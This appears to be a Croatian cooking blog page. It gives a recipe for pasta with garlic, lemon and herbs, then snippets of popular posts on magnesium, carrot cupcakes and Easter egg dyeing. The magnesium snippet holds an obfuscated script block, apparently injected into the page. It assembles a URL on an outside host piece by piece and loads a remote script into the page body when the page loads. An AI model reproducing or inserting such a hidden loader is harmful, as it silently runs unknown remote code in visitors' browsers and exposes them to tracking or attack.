TJESTENINA S ČEŠNJAKOM, LIMUNOM I ZAČINSKIM BILJEM. 🍋





Tjestenina s češnjakom, limunom i začinskim biljem 




Tjestenina s limunom, češnjakom i svježim začinskim biljem postat će vaš novi favorit za brzi ručak nakon posla ili laganu večeru na balkonu. Gotova je za točno onoliko vremena koliko je potrebno da se skuha pašta, a tajna njezine kremoznosti leži u jednom jednostavnom triku.





Tjestenina s češnjakom, limunom i začinskim biljem 


Sastojci za dvije osobe:

  • 200 g tjestenine (špageti, linguini ili penne)
  • 4 žlice kvalitetnog maslinovog ulja
  • 3 češnja češnjaka (narezana na tanke listiće)
  • Sok i korica jednog domaćeg, neprskanog limuna
  • 40 g sitno ribanog parmezana ili pecorina
  • Šaka svježeg lišća bosiljka ili peršina
  • Sol i svježe mljeveni crni papar (po želji i malo čilija u listićima)




Priprema:

  1. Skuhajte tjesteninu: U lonac s puno posoljene kipuće vode ubacite tjesteninu.
    Kuhajte je minutu kraće nego što piše na pakiranju, želimo da bude savršeno al dente.
  2. Zlatno pravilo (Ne bacajte vodu!): Prije nego što ocijedite tjesteninu, obavezno zagrabite i sačuvajte jednu veliku šalicu (oko 200 ml) te vruće, mutne vode u kojoj se kuhala. To je vaš "tekući zlatni" sastojak.
  3. Aromatizirajte ulje: Dok se pašta kuha, u širokoj tavi na laganoj vatri zagrijte maslinovo ulje.
    1. Dodajte listiće češnjaka (i čili ako volite pikantno). Pržite vrlo kratko, tek minutu, samo da češnjak zamiriše, ali pazite da ne potamni jer će postati gorak.
    2. U tavu s uljem i češnjakom dodajte ocijeđenu tjesteninu, a zatim ulijte otprilike polovicu šalice sačuvane vode od kuhanja i sok od limuna. Pojačajte vatru i sve energično miješajte ili protresite tavu oko pola minute. Primijetit ćete kako se tekućina počinje zgušnjavati.
    3. Kremasti finiš: Maknite tavu s vatre (ovo je bitno kako se sir ne bi zgrudao). Pospite sitno ribanim parmezanom i naribanom limunovom koricom te nastavite brzo miješati. Sir će se rastopiti u škrobnoj vodi i maslinovom ulju, stvarajući predivan, gladak i kremast umak. Ako vam se čini presuho, dodajte još malo vode od kuhanja.
    4. Posluživanje: Na samom kraju umiješajte natrgane listiće svježeg bosiljka ili peršina. Poslužite odmah, uz još malo papra i kap maslinovog ulja na vrhu.


    Ovaj tanjur donosi čisti miris Mediterana na vaš stol! Svjež je, citrusan, nevjerojatno lagan za želudac, a istovremeno tako bogat i kremast da nitko neće vjerovati da unutra nema ni trunke vrhnja. 



Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više